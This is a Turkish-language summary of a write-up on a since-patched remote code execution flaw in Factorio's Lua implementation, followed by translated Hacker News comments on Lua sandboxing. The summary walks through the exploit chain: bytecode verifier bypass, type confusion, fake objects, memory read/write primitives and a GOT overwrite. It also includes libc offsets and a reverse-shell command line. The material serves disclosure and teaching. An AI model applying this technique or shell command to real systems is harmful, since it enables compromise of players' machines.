2 puan yazan GN⁺ 2024-06-30 | 1 yorum | WhatsApp'ta paylaş
  • Factorio'nun Lua uygulamasındaki güvenlik açığı, kötü niyetli bir sunucunun bağlanan istemcide rastgele kod çalıştırma elde etmesini mümkün kıldı ve etkilenen kapsam, zaten yamalanmış olan 1.1.101 öncesi sürümlerdi
  • Çok oyunculu yapının deterministik lockstep yöntemiyle aynı Lua kodunu çalıştırması nedeniyle, saldırgan kötü niyetli özel harita üzerinden ağ yolu üzerinde güvenlik açığını tetikleyebiliyordu
  • Sorunun merkezinde, base modülündeki load/loadstring fonksiyonlarının izin verdiği bytecode çalıştırma ile Factorio'nun kendi doğrulayıcısındaki Off-By-One ve eksik tür doğrulaması yer alıyordu
  • Exploit, FORLOOP tür karışıklığıyla adres sızdırdıktan sonra upvalue indeksini manipüle ederek LClosure ile TString tiplerini karıştırıyor, böylece sahte nesne ve rastgele okuma-yazma primitifleri oluşturuyordu
  • Linux RCE, GOT içindeki ldexp adresini system ile değiştirip math.ldexp çağrısını kötüye kullanıyordu; ayrıca Factorio'nun struct ofsetleri ve %a biçim farkı nedeniyle ek düzeltmeler gerekiyordu

Güvenlik açığının kapsamı ve Lua'nın maruz kaldığı yollar

  • Factorio'nun Lua uygulamasındaki güvenlik açığı, kötü niyetli bir sunucunun istemcide rastgele kod çalıştırma elde etmesini mümkün kıldı ve Factorio'nun 1.1.101 öncesi sürümleri etkilendi
  • Lua, Factorio'da oyun mantığı, modlar ve özel haritaların uygulanması için kullanılıyor
    • Modlar oyun içinden veya Factorio Mods üzerinden alınabiliyor
    • Modlama topluluğunda binlerce mod var ve bazılarının indirme sayısı 500 bini aşıyor
  • Bu durum, yalnızca kötü niyetli bir modun doğrudan kurulmasını gerektiren yerel bir saldırı gibi görünebilir; ancak çok oyunculu senkronizasyon yapısı nedeniyle Lua yorumlayıcısı ağ yolu üzerinden de erişilebilir durumda
  • Factorio çok oyunculusu deterministik lockstep kullanıyor
    • Ağ üzerinden oyun durumu değil, yalnızca kullanıcı girdileri iletiliyor
    • Tüm oyuncuların oyunu her tick'te aynı şekilde simüle etmesi gerekiyor
    • Bir oyuncu Lua kodu çalıştırdığında, diğer oyuncular da senkronizasyon için aynı kodu çalıştırmak zorunda kalıyor
  • Saldırganın Lua kodu çalıştırabileceği yol iki başlıkta toplanıyor
    • Yetkisi varsa sunucuda /c komutuyla Lua kodu çalıştırmak
    • Lua kodu içeren özel bir harita oluşturup istemci sunucuya bağlandığında bunu çalıştırmak
  • Sunucu tarayıcısında kötü niyetli bir sunucu görünür hale getirilirse, kurbanın haritayı indirip Lua kodunu çalıştırdığı bir akış oluşabiliyor

Genel saldırı akışı

  • Saldırı, Factorio sunucusunun kötü niyetli bir harita sunmasıyla başlıyor
    • Haritanın senaryo Lua koduna exploit gömülüyor
    • İstemci sunucuya bağlandığında haritayı indiriyor ve ilgili Lua kodunu çalıştırıyor
  • Ardından Lua uygulamasındaki zayıflıklar kullanılarak sahte nesne (fake object) oluşturuluyor
    • Sahte nesne, bellek sızıntısını ve bellek bozulmasını mümkün kılıyor
    • Sonuç olarak kod çalıştırmaya kadar gidebilecek çeşitli primitifler elde ediliyor
  • Dinamik dillerde sahte nesne, saldırganın güçlü kontrol kazanmasında temel araçlardan biri
    • Dizeler rastgele veri sızdırmak için kullanılabiliyor
    • Diziler veya tablolar rastgele bellek yazmak için kullanılabiliyor
    • Yerel fonksiyon çağrı yolu varsa yürütme akışı kontrolüne kadar gidilebiliyor

Lua bytecode çalıştırma ve doğrulayıcı sorunları

  • Factorio'ya dahil edilen Lua modülleri sınırlı
    • debug: hata ayıklama işlevlerine erişim
    • math: standart C matematik arayüzü
    • bit32: bit işlemleri
    • string: dize işleme
    • table: tablo işlemleri
    • base: print gibi Lua çekirdek işlevleri
  • os.execute gibi açıkça tehlikeli modüller çıkarılmış olsa da, base modülündeki load ve loadstring bytecode çalıştırmaya izin verdiği için saldırı yüzeyi büyük kalıyor
  • Lua önce kaynak kodu Lua bytecode'una derliyor, ardından yorumlayıcıda çalıştırıyor
    • Bytecode, CPU makine kodu değil; yalnızca Lua yorumlayıcısının çalıştırabildiği bir gösterim
    • Bytecode doğrudan enjekte edilebilirse, normal derleyicinin üretmeyeceği hatalı bytecode yürütülebilir
  • Lua geliştiricileri rastgele bytecode çalıştırmanın riskini biliyordu ve bir doğrulayıcı oluşturmuştu; ancak bunu Lua 5.2'de kaldırdı
    • Lua posta listesinde, mevcut doğrulayıcının tekrar tekrar aşıldığı ve rastgele Lua kodu çalıştıran uygulamaların önceden derlenmiş script almamasının daha doğru olduğu görüşü yer alıyor
  • Factorio geliştiricisinin Lua 5.2.1 üzerinde kendi bytecode doğrulayıcısını uyguladığı görülüyor
    • Koruma mantığı, kod dışına sıçrama veya sabit dizi sınırı dışındaki indeksler gibi açık OOB parametreleri engellemeye odaklanıyor
    • Bazı opcode anlamları nedeniyle bir Off-By-One sorunu vardı ve JMP 0 gibi sıçrama ofseti işlenirken kod bloğu dışına atlanabiliyordu
    • Sabit alanı kod chunk'ının arkasına ayrılabildiği için, saldırgan sabit bölümüne bytecode koyup off-by-one sıçramasıyla kontrolleri aşıp bunu çalıştırabiliyordu

Adres sızıntısı: FORLOOP tür karışıklığı

  • Lua iç nesneleri TValue ile temsil ediliyor
    • TValue, değer alanı Value ile türü belirten tt_ bileşenlerinden oluşuyor
    • Value, 8 baytlık bir alan ve türe göre double veya pointer olarak yorumlanabiliyor
  • Lua 5.2'de tüm sayılar double olarak temsil ediliyor
    • Sayılar pointer üzerinden değil, doğrudan Value union'ı içinde inline saklanabiliyor
    • Bir dize pointer'ını sayı gibi yorumlatmak, pointer bitlerinin double değer olarak sızmasına yol açabiliyor
  • Normal Lua'da print(function) adres yazdırabilir; ancak bu özellik Factorio'da kaldırılmış ve dize adresleri de doğrudan sızdırılamıyor
  • Döngü opcode'u olan FORLOOP normalde FORPREP sonrasında gelmeli
    • FORPREP, başlangıç değeri, limit ve step'in sayı olup olmadığını kontrol ediyor
    • FORLOOP içinde ise step parametresinin türü kontrol edilmiyor ve lua_assert tabanlı denetim varsayılan derlemelerde zorunlu değil
  • Saldırgan bytecode'u değiştirerek FORPREP'i kaldırıp yalnızca FORLOOP çalıştırabiliyor
    • Normal Lua kaynağında derleyicinin üretmeyeceği bir durum bytecode düzeyinde kuruluyor
    • Step konumuna dize gibi bir nesne yerleştirilirse, ilgili TValue içindeki pointer double gibi yorumlanıp sızdırılıyor
  • Sızan değer normal bir double değil; pointer bitlerinin double olarak yorumlanmış hali olduğu için 2.1944577826691e-317 gibi küçük bir sayı gibi görünüyor
    • IEEE 754 binary64; 1 işaret biti, 11 üs biti ve 52 mantissa bitinden oluşuyor
    • Pointer değeri denormalized double gibi görünüyorsa, mantissa içinden asıl değer geri çıkarılabiliyor
  • Lua 5.2'de pack/unpack ve tamsayı tipleri olmadığından dönüşüm zahmetli
    • İlk olarak string.format("%.13a", double) ile mantissa ve exponent okunup pointer geri elde ediliyor
    • Örnek sızıntı değeri 0x43d6c0 pointer'ına çevriliyor ve gerçek dize verisi TString başlığından 24 bayt sonra yer alıyor

Upvalue manipülasyonu ve LClosure tür karışıklığı

  • Upvalue, Lua'nın mevcut fonksiyonun dış kapsamındaki değişkenlere erişim mekanizması
    • Bytecode içindeki upvalue bilgileri indeks, ad, stack konumu bilgisi ve stack indeksi içeriyor
    • Saldırgan bytecode'a gömülü upvalue indekslerini değiştirebiliyor
  • Upvalue indeksini değiştirmek, orijinal yerel değişken yerine stack üzerindeki başka bir TValue'a işaret etmeyi sağlayabiliyor
    • Örnekte target upvalue indeksinin bir artırılması, mevcut fonksiyonun LClosure'ını işaret etmesini sağlıyor
    • Manipüle edilmiş bytecode, nil yerine LClosure: 0x... yazdırıyor
  • Lua'da fonksiyonun gerçek çalışma birimi Prototype ve Closure olarak ayrılıyor
    • Proto, bytecode, sabitler, kaynak satırları ve upvalue bilgileri gibi fonksiyon şablonu görevini görüyor
    • LClosure, çalışma anında oluşturuluyor ve Proto ile upvalue listesini bağlıyor
  • CLOSURE opcode'u yeni bir Lua closure'ı oluşturup stack'e koyuyor, sonra upvalue'leri başlatıyor
    • 3 yerel değişken varsa yeni LClosure, base + 3 konumuna yerleşebiliyor
    • Upvalue indeksini 3 yapmak, o konumdaki LClosure TValue'ını yakalamayı sağlıyor
  • İç fonksiyon dış fonksiyonun LClosure'ını bir dizeyle ezdiğinde, dönüşten sonra Lua bu dizeyi LClosure gibi kullanmaya çalışıyor ve çöküyor
    • OP_RETURN yolundaki tür kontrolü lua_assert'e dayanıyor ve varsayılan yapılandırmada zorunlu değil
    • Sonuçta mevcut çalışma frame'inin cl alanı gerçek LClosure yerine saldırganın kontrol ettiği TString'i gösterebiliyor
  • TString ile LClosure düzenleri arasındaki fark kullanıldığında, dize kullanıcı veri alanı Proto *p ve Upval **upval konumlarıyla çakışıyor
    • Bu tür karışıklığı fonksiyon prototype pointer'ı ile upvalue dizisi pointer'ını kontrol etmeyi sağlıyor
    • Kontrol edilebilir bellek alanlarını işaret ettirerek sahte nesneler üretilebiliyor

Sahte nesneler ve okuma-yazma primitifleri

  • Sahte nesne üretim yolu kabaca ikiye ayrılıyor
    • Sahte Proto'nun sahte TValue dizisini göstermesi
    • Sahte UpVal dizisinin sahte TValue'ları göstermesi
  • Daha az padding içermesi ve fonksiyon içinden sabitleri yeniden kullanabilmesi nedeniyle sabit yolu tercih ediliyor
    • Sahte TString
    • Sahte TString'i gösteren TValue dizisi
    • Sahte TValue dizisini gösteren Proto
    • Sahte Proto'yu gösteren LClosure
  • Sahte TString, uzunluğu istenen kadar büyük ayarlanarak okuma primitifi olarak kullanılabiliyor
    • Lua dize verisinin TString başlığının hemen ardından geldiği varsayılıyor
    • str:sub() ile sahte dizenin kapsadığı aralıktaki bellek okunabiliyor
    • Lua dize indeksleri 1'den başladığı için başlık hesabında 1 baytlık düzeltme gerekiyor
  • Yazma primitifi, sahte UpVal'in yazılacak adresin TValue'ını işaret etmesiyle kuruluyor
    • Lua değişkenine sayı atandığında ilgili konuma sayısal TValue yazılıyor
    • Sayı TValue'ın ilk 8 baytında inline saklandığı için değer alanı kontrol edilebiliyor
    • Aynı anda sonraki 8 bayta tür bilgisi yazıldığı için çevredeki bellek de bozulabiliyor
  • Lua sayıları double olduğundan, istenen tamsayı bit düzenini yazmak için dönüşüm gerekiyor
    • Denormalized double'ın en küçük birimi olan 2^-1074 kullanılıyor
    • integer_to_double(integer) = integer * 2^-1074 biçimiyle tamsayı, double gösterimine kodlanıyor

Komut işaretçisi kontrolü ve ASLR atlatma

  • Lua'nın Light C Function türü, fonksiyon pointer'ını doğrudan TValue içinde inline saklıyor
    • Fonksiyon türü LUA_TFUNCTION, Light C Function ise LUA_TLCF değeri 22 ile temsil ediliyor
    • TValue değer alanına 0xdeadbeef, tür alanına 22 konursa bu, o adresteki fonksiyon gibi çağrılabiliyor
  • Sahte Light C Function çağrıldığında instruction pointer kontrol edilebiliyor
    • Örnekte RIP, 0xdeadbeef oluyor ve süreç çöküyor
    • Buradan sonra ROP chain gibi yürütme akışı değiştirme tekniklerine geçilebiliyor
  • Light C Function pointer'ının inline saklanması, adres sızıntısı için de yararlı
    • Lua fonksiyonları light C function olarak uygulanmışsa, print gibi fonksiyonların adresleri okuma primitifiyle sızdırılabiliyor
    • Böylece ASLR atlatmak için gereken taban adres hesaplanabiliyor
  • Sandbox içine alınmış bir fonksiyon ikili dosyada hâlâ duruyorsa, sahte fonksiyonu o adrese işaret ettirip çağırmak da bir başka atlatma yolu olabiliyor

Factorio'ya uyarlanan düzeltmeler

  • İlk testler resmi Lua yorumlayıcısında yapılmış olsa da, Factorio'nun Lua uygulamasında struct düzeni farklı
  • Factorio'nun GC nesne CommonHeader yapısına previous pointer'ı eklenmiş
    • Resmi Lua'da yapı next, tt, marked
    • Factorio'da ise previous, next, tt, marked olduğu görülüyor
  • Bu fark nedeniyle bazı ofsetler 8'er bayt kayıyor
    • TString başlığı 24 bayt değil, 32 bayt oluyor
    • Dize içeriği adres hesabı ve okuma primitifi için göreli adres hesapları düzeltilmeli
    • Sahte UpVal ve fake closure hesaplarında da ek pointer dikkate alınmalı
  • Factorio'da %a formatının davranışı da resmi Lua testinden farklı çıktı
    • string.format("%.13a", 2.1038461432219e-316) beklenen 0x0.000000289c130p-1022 yerine 0xa.2704c00000000p-1052 biçimini üretiyor
    • Bu yüzden dize formatına dayalı double geri dönüşümü bozuluyor
  • Son dönüşüm tamamen sayısal yönteme çevrildi
    • Denormalized değerlerin, tüm tamsayıların en sağdaki en düşük anlamlı bitten başladığı kabul edilebiliyor
    • double_to_number(double) = double * 2^52 * 2^1022 ile sızan değer geri elde ediliyor
    • 2^1074 double olarak temsil edilemediği için çarpım iki aşamaya bölünüyor

Linux RCE: GOT değiştirme ve math.ldexp

  • Linux'ta seçilen RCE yolu, ROP chain yerine GOT değiştirme kullanıyor
    • Lua'dan çağrılabilen ve ilk argümanı kontrol edilebilen bir imported function aranıyor
    • Bu fonksiyonun GOT girdisi system adresiyle eziliyor
    • Ardından Lua'dan bu fonksiyon çağrılarak system(command) gibi davranması sağlanıyor
  • Factorio'nun kısıtlı Lua kütüphaneleri içinde math.ldexp uygun fonksiyon olarak seçiliyor
    • İçeride ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2)) çağrılıyor
    • GDB ile ikinci Lua argümanının libc çağrısının ilk register argümanı olan RDI'ye aktarıldığı doğrulanıyor
  • GOT, heap'in önünde yer aldığı için mevcut sahte dize okuma primitifiyle doğrudan okunması zor
    • Okuma primitifi yalnızca sahte dize başlığından sonraki adresleri okuyabiliyor
    • Bu yüzden GOT'un önündeki writable segment kullanılarak GOT'tan önce sahte TString oluşturuluyor
  • GOT'un önüne sahte TString yerleştirildiğinde libc fonksiyon adresleri okunabiliyor ve ASLR atlatılabiliyor
    • Örnekte GOT'tan memcpy adresi okunuyor
    • Fedora 39'un libc 2.38 ofsetleriyle libc_base = memcpy - 0x138b80, system = libc_base + 0x2a3b0 hesaplanıyor
  • Daha sonra ldexp GOT girdisi system adresiyle eziliyor
    • Örnek adreste 0x289ef00, ldexp GOT girdisi olarak kullanılıyor
    • write(0x289ef00, system) biçiminde üzerine yazılıyor

Komut çalıştırma ve son uzaktan kabuk

  • İlk olarak komutun Lua dizesinde tutulup math.ldexp(0, addr_of(cmd) + 32) ile çağrılması denendi
    • Komut sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &" biçimindeydi
    • Ancak Lua, ldexp'i 32 bit parametre ile çağırdığı için dize adresinin üst bitleri kesildi ve bu yöntem başarısız oldu
  • Geçici çözüm olarak, daha önce sahte dize oluştururken kullanılan ikili dosyanın writable segmentine komut dizesi doğrudan yazıldı
    • PIE etkin olmadığı için ana ikili dosyanın adresi yeterince küçüktü
    • Komut dizesi 0x289c150 civarına birden çok write() çağrısıyla yazıldı
  • math.ldexp(0, 0x289c150) çağrısı, GOT değiştirildikten sonra system(0x289c150) çağrısı gibi davranıyor
  • Nihai yürütme sonucu, yerelde çalışan nc -lvp 9001 dinleyicisine bağlanan bir kabukla doğrulandı
    • Kabuk istemi sh-5.2$
    • whoami çıktısı victim

Alıştırma amaçlı challenge ve referanslar

1 yorum

 
GN⁺ 2024-06-30
Hacker News yorumları
  • Beklenmedik bir durum
    Lua bayt kodunu yorumladığı için, komut argümanlarının anlamlı olup olmadığını doğrulayabileceğini sanmıştım. Örneğin Lua’nın ayırdığı belleği gösterip göstermediği gibi şeyler
    Ama gerçekte öyle değilmiş; hatalı argümanlara sahip bayt kodu verseniz bile olduğu gibi çalıştırıyor. Sonraki ihlal süreci de buradan devam ediyor
    Üstelik yorumlayıcıyı düzeltmek yerine bayt kodunu statik olarak analiz etmeyi planlıyorlar; bu da yalnızca basit durumlarda işe yarayacak gibi görünüyor
    Sandbox dostu bir yorumlayıcı dili için epey hayal kırıklığı yaratıcı; yorumlayıcının girdiye güvenmemesini sağlayacak bir yamayı kabul edip etmeyeceklerini merak ediyorum. Performans düşüşünden endişe ediyor gibiler ama hızlı seçeneğin LuaJIT olduğu bir durumda bu şüpheli

    • “Yorumlayıcının girdiye güvenmemesini sağlayan yama” konusunda, Lua geliştiricilerinin tutumunu şöyle anlıyorum: keyfi Lua kodu çalıştıran süreçler yalnızca kaynak kodu kabul etmeli ve bayt kodunu doğrudan yüklemeyi kapatmalı
      Bu yaklaşım, güvenilir bayt kodunu doğrudan yükleme seçeneğini korurken tüm kullanıcıları etkileyecek dinamik kontrolleri yorumlayıcıya koymayı gerektirmediği için makul görünüyor
    • Yaygın yanlış kanının aksine Lua aslında sandbox dostu değil
      Lua tasarımı gereği sonlanma garantisi sunmaz ve güvenilmeyen programları zorla sonlandırmanın iyi bir yolu da yoktur. Güvenilmeyen Lua girdisi kabul ediyorsanız, programın süresiz olarak takılabileceğini varsaymalısınız
      Lua, internetten indirilen kod gibi en azından asgari incelemeden geçmiş yarı güvenilir girdiler için harika. Kod gerçekten kötü niyetli olsa bile zararı büyük ölçüde sınırlar, ama tamamen ortadan kaldıramaz
      JavaScript tarzında tamamen güvenilmeyen girdiye ihtiyacınız varsa doğru seçenek Roblox çatallanması Luau’dur: https://luau-lang.org/sandbox
    • Sandbox dostu demek zor değil mi?
      Diğer dillerin gösterdiği gibi, bayt kodu için güvenli bir yorumlayıcı yapmak basit bir iş değil. Bu aynı zamanda referans uygulamayı basit tutmak için yapılmış bir ödünleşim
      Üçüncü taraf kod çalıştırma söz konusu olduğunda bu yorumlayıcıların çoğuna güvenmem. Web tarayıcılarının aldığı Ar-Ge bütçesi ve ilgiyi düşününce, tarayıcılara bile ancak zar zor güveniyorum
    • Öngörülebilir bir şey. Yalnızca doğru bir derleyicinin gerçekten ürettiği bayt kodu çalıştırılmalı. Aksi halde bellek güvenliği ihlali veya sandbox’tan kaçış ortaya çıkar; bellek güvenliği ihlali üzerinden sandbox’tan kaçış da mümkün olur
      Bu, keyfi makine kodu çalıştırmamakla aynı şey
      Luau da aynı özelliğe sahip; Roblox sürekli sandbox kaçışlarından mustarip değil, öyle değil mi?
    • Java, Wasm ve BPF, JIT derlemeli dillerde bile statik olarak doğrulanabilir bayt kodunun mümkün olduğunu gösteriyor. Lua’nın sorunu, bayt kodunun güvenliği tamamen doğrulamak için gereken bilgileri sağlamamasında
  • Keşke bu kısımlar daha açık biçimde tanımlansa veya belgelenmiş olsa. Hangi dilin makul ölçüde güvenli olduğunun garanti edildiğini insanın kendi başına anlaması gerekiyor
    Örneğin statik kodun doğrudan kullanıcı tarafından çalıştırıldığı temel durum var; Lua dahil dillerin genelde ilgilendiği durum bu
    Bir de kodun güncelleme sürecinde dinamik olarak alınıp çalıştırıldığı, ama yalnızca resmî kanalların kullanıldığı durum var. Bu durumda süreci güvenli hale getirerek geçiştirilebilir, fakat kesin değil
    Kullanıcıların eklenti olarak kod ekleyebildiği ve bir mağazadan tek düğmeyle kolayca kurabildiği durumlar da var. Eklentiler incelenebilir ama bu neredeyse hiç düzgün yapılmadığından, sandbox gerekip gerekmediğine veya kullanıcının dikkatli olması gerekip gerekmediğine bakmak gerekir
    Çok oyunculu oyunlarda yalnızca sunucunun eklentilerle genişletildiği, istemcinin ise genişletilmediği durumlar da var. Sunucu açan oyuncuların çeşitli eklentileri aktif biçimde denediği hesaba katılmalı; eklenti topluluğu da çok daha riskli olabilir
    Son olarak, tarayıcılar gibi sunucunun istemcide keyfi kod çalıştırabildiği çok oyunculu oyunlar var. Bu durumda özellikle istemci tarafındaki sandbox konusunda çok dikkatli olmak gerekir. Çünkü oyuncular güvenlik etkilerini düşünmeden rastgele sunuculara girer
    Factorio tam olarak bu son durum. Geliştiricilerin bunu değerlendirmesi gerektiğine mutlaka karşı değilim; ancak örneğin Lua’nın load fonksiyonunun güvenli olmayan keyfi bayt kodu çalıştırabileceği her zaman açık değildir
    Açıkçası Lua bayt kodunun güvenli olmadığını bilmiyordum; LuaJIT bayt kodunun güvenli olmadığını biliyordum. Fakat bu bilgi posta listelerinde veya GitHub issue’larında yer yer, herkesçe bilinen bir gerçekmiş gibi yazılmış görünüyor
    Sunucunun istemciyi kilitleyebilmesi sorunu da var. Sonsuz döngü çalıştırması yeterli. Ancak bundan kaçınmak çok daha zor ve belki de kaçınmaya çalışmak anlamsız olabilir

    • Saldırganın kontrol ettiği kodu çalıştırmanın hiçbir biçiminin güvenli olduğu varsayılmamalı. Özellikle de açıkça güvenli olduğu belirtilmemiş ve bunu desteklemek için Google düzeyinde çaba harcanmamışsa
    • Unreal Engine tabanlı Mordhau oyununda, sunucu yöneticisinin bir URL girdiğinde oyuncu bağlanırken oyun içi tarayıcının açılmasını sağlayan günün mesajı özelliği vardı
      İstemci tarafında tarayıcıyı kapatma seçeneği yoktu; bildiğim kadarıyla geliştiriciler sonunda bunu tamamen devre dışı bıraktı ama şu anki durumdan emin değilim
      Bu, oyunların ve oyun motorlarının ne kadar karmaşık hale geldiğini gösteriyor. Pek bir nedeni yokmuş gibi görünen yerlere gömülü web tarayıcısı konmuş
    • İlk bakılacak şey, ilgili çözümün spekülatif yürütmeye karşı güvenli bir sandbox olduğunu açıkça söyleyip söylemediğidir. Bunu yapan yerler çok olmayabilir ama bazıları var; değerlendirmeye oradan başlanabilir
  • Factorio’nun arkasında gerçekten iyi bir geliştirme ekibi var; bu yüzden böyle sorunları düzeltmek için ellerinden geleni yaptıklarına inanıyorum. Yine de genel olarak oyun geliştirme daha çok yaratıcı bir iş niteliğinde olduğundan, kodlama pratikleri ve güvenlik gibi konular sanki geri planda kalıyor
    Oyun istemcilerinde ve sunucularında ne kadar sıfır gün açığı saklı olduğunu merak ediyorum

    • Uzaktan etkileşim içeren oyunların temelde tamamen güvenli olmadığını düşünme eğilimindeyim. Steam’i ve tüm oyunları bir şekilde sandbox içinde çalıştırmak iyi olur
      Flatpak başlangıç noktası olarak yardımcı olabilir. Container güçlü bir güvenlik sınırı değildir ama basit exploit’leri engelleyebilir
    • Muhtemelen pek iyi değildir. Xbox, Sony, Nintendo gibi konsol üreticilerinin neden rastgele sunucu IP’sine bağlanmaya veya mod desteğine izin vermediğini düşünmek yeterli
      Bu sadece resmi çevrim içi hizmetleri kullandırmaya yönelik basit bir ticari karar değil. Üçüncü taraf sunucu IP’lerine bağlanmayı engellerseniz, ağ kodunda ya da oyunun geri kalanında ciddi hatalar olsa bile bunlar asla suistimal edilemez. Modları, hatta Lua gibi “güvenli” modları bile kısıtlamak exploit’leri daha da azaltabilir
      Hatalı ağ kodu, geçmişte birçok konsolun DRM’ini çökertmişti
      Exploit’lerin yanı sıra, konsollar kodun dağıtılmadan önce incelemeden geçmesini bir övünç kaynağı sayar. Uzak bir sistemde Lua çalıştırmaya izin vermek, oyunun onaydan sonra bile bizzat geliştiricisi tarafından uzaktan yeniden yapılandırılabileceği anlamına gelir; konsol üreticileri de bunu çok ayrıntılı bir inceleme olmadan kabul etmek istemez
    • Bu yüzden oyun bilgisayarını ayrı tutmak iyi olur. Önemli belgeleri veya iş dosyalarını kesinlikle koymamak daha iyi
      İdeal olarak sanal makinede izole etmek iyi olurdu, ama oyun amaçlı sanal makine kurulumu inanılmaz zahmetli ve anti-cheat kullanan bazı oyunlarda dışlanmanıza yol açabilir
    • Kodlama pratikleri mi? Factorio, şimdiye kadar gördüğüm yazılımlar arasında en iyi programlanmış, en kararlı ve en tutarlı olanlardan biri
      Diğer alanların iyi programlama bilen insanlara ne kadar ihtiyaç duyduğunu düşününce, yetenekli insanların oyun sektöründe çalışması neredeyse üzücü geliyor
  • Genel olarak program doğrulama, yalnızca Rice teoremi yüzünden değil, aşırı derecede zordur. Özellikle Lua gibi önemsiz olmayan bir bytecode dilinde gözden kaçan noktalar çok kolay oluşur. Örneğin Wasm’da for döngüsü kavramı yoktur
    Üst proje bu sorundan çok zor olduğu için vazgeçtikten sonra Factorio geliştiricilerinin doğrulayıcıyı düzeltmeye ya da kendilerinin yazmaya çalışması tuhaf
    Minetest’in loadstring fonksiyonu bytecode’u tamamen yasaklar: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...
    Factorio modlarının ham Lua bytecode’u çalıştırma yeteneğine neden ihtiyaç duyduğunu merak ediyorum. Gerekli değilse doğrulayıcıya da ihtiyaç olmazdı
    Zaten ağ üzerinden indirilen Lua kodunu çalıştırmak epey tehlikeli. JavaScript çalışma ortamları onlarca yıldır exploit bulunması ve düzeltilmesi döngüsünden geçti. Lua’da da böyle şeyler oluyor ama ölçek daha küçük ve güvenliği iyileştirecek insan sayısı da daha az
    Başlıca koruma, kötü niyetli oyun sunucusu çalıştıran kişi sayısının daha az olması olabilir

    • Factorio bu soruna yanıt olarak bytecode yüklemeyi devre dışı bıraktı. Bytecode, Lua bytecode’u üreten bir ön işleme diliyle mod yazmak gibi havalı şeyleri mümkün kılıyordu; ama sonuçta güvenlik sorunu daha ağır bastı
      Benzer güvenlik gerekçeleriyle debug kütüphanesinin de neredeyse tamamı modlarda kullanılamaz hale geldi
    • Sonunda her oyun geliştiricisi, Lua’nın loadstring() fonksiyonundan bytecode özelliğini kaldırması gerektiğini zor yoldan öğreniyor
      Örneğin ROBLOX geliştiricilerinin 12 yıl önce yazdığı bir yazı var: https://archive.is/oXPyM
      Açıkçası varsayılan olarak devre dışı bırakmak daha iyi olurdu. Meşru kullanım alanları oldukça niş
    • Factorio’da şöyle bir şey de var: https://mods.factorio.com/mod/Moon_Logic
      Üstelik Turing-complete bir ortamda doğrudan çalıştırılamayan yazılım yapmak epey kısıtlayıcı
      Her hâlükârda güçlü bir yetki sistemi içeren bir yorumlayıcı gerçekten gerekli
    • Rice teoremi burada kilit nokta gibi görünmüyor. İlk filtre olarak yararlı olabilir. Bunu “sadece” kesin biçimde kararlaştırabileceğinize inanıyorsanız durmalısınız; çünkü Henry Rice yarım yüzyıl önce bunun imkânsız olduğunu kanıtlayıp doktorasını aldı
      Ancak gerçek gereksinimleri karşılayan girdilerin yalnızca bir kısmını kabul etmeye razı olduysanız Rice teoremi devreden çıkar. Artık imkânsız bir iş yerine yalnızca aşırı zor bir iş kalır
      Başarısız olsanız bile, en azından bunun imkânsız bir iş olduğu söylenmeyeceği için bu teselli olabilir
      Factorio bu yola girmemeliydi
    • Rice teoremi burada geçerli değil. Rice teoreminin kullandığı geniş anlamdaki “sözdizimi” tanımında, bytecode’da doğrulamaya çalıştığınız şeyler sözdizimi kapsamına girer
  • Tamamen acemi sorusu ama oyunların neden Lua kullandığını ve örneğin oyun durumunu ayarlayan API gibi tanımlı bir arayüze sahip gömülü JavaScript kullanmadığını merak ediyorum
    Tarayıcı ortamlarının izolasyonu için yapılmış çok daha güçlü sağlamlaştırma çalışmalarından yararlanılabilir gibi geliyor. Tarayıcılar zor, çok iyi test edilmiş ve çok para harcanmış hedefler
    Dinamik tip performans optimizasyonu için de muazzam çalışma yapıldı
    Ayrıca modların UI’a ihtiyacı olursa canvas var; DOM benzeri bir model sağlanırsa React gibi şeyler de potansiyel olarak mümkün olur

    • Birkaç yıl önce denediğim kadarıyla JavaScript motorlarının çoğu eski ve neredeyse bakımsızdı; tarayıcılarda kullanılan motorlar ise tarayıcı öncelikli yapıldığından entegre edilmesi kolay olacak şekilde tasarlanmamıştı
      Lua özellikle entegrasyon için yapılmış olduğundan bol kaynak var ve büyük bir topluluk da destekliyor
    • JavaScript motorlarının çoğunu gömmek Lua’ya göre çok daha karmaşık. Lua, aklıma gelen yazılımlar arasında derlemesi en kolay olanlardan biri
      Ayrıca yaygın tarayıcı API’leriyle JavaScript’i karıştırıyorsunuz. JavaScript motoru canvas ya da DOM sağlamaz. Örneğin V8 de sağlamaz; bunları kendiniz eklemeniz gerekir
  • Güvenlik geliştiricisi değilim ama usulen “vay, bu gerçekten çok etkileyici!” demek istiyorum. Böylesine karmaşık bir başarısızlık vakasının izini sürebilmek için ne kadar net ve mantıklı düşünmek gerektiğine inanmak zor. Kesinlikle benim güçlü yanım değil; ben daha çok “fikirlerden sorumlu” kişiye yakınım
    İçerik açısından bakınca, bu tür tuhaf bellek exploit’lerini bulan 10 bin blog yazısıyla donatılmış bir AI yazılım mühendisi grubu ortaya çıkarsa işimizin tamamen biteceğini düşünüyorum
    Sonuçta güvenlik için tamamen yeni bir paradigmaya, ya da en azından yığının içinde yeni bir öğeye ihtiyacımız var gibi görünüyor. Modern “güvenilen” istemci ya da DB rolleri gibi şeyler, İsviçre peyniri deliklerini yamamaya benziyor
    Umarım LLM’in yönettiği yeni bir İsviçre peyniri katmanı daha ekleyebiliriz

    • Bunu zaten yapanlar var. Sonuçlar henüz umut verici değil
  • Yani bu, kötüye kullanılabilir diye tanıtılan bir özellik olan bytecode yüklemeye dayanan bir exploit’i göstermiyor mu? Neyi kaçırıyorum?

    • İlginç olan, Lua geliştiricilerinin bytecode doğrulayıcısında ne kadar büyük bir hata yaptığıydı. Karmaşık bir mesele değildi; jmp gibi temel komutları modellerken yapılan off-by-one hataları ya da Lua yorumlayıcısının eline geçen her şeyi komut olarak yorumlamaya çalışması gibi basit şeylerdi
      Doğrulayıcının dokunmadığı veri bölümünü bile yorumlamaya çalışıyordu
    • Tanıtılmış bir özellik olsa bile, Lua’nın ya da bytecode’un ne olduğunu bilmeyen son kullanıcılara zarar verebilir
    • Bytecode yorumlayıcısında bir hata olduğu için, loadstring devre dışı bırakılmış ortamlarda bile keyfi bytecode çalıştırma mümkün olabilir
  • Bu kadar yetenekli insanların iyi tarafta olmasına gerçekten seviniyorum

    • Doğuştan iyi olan ya da zarar vermeyen ne kadar çok insan olduğunu gösteriyor gibi. İngilizcede hangi kelime doğru olur bilmiyorum
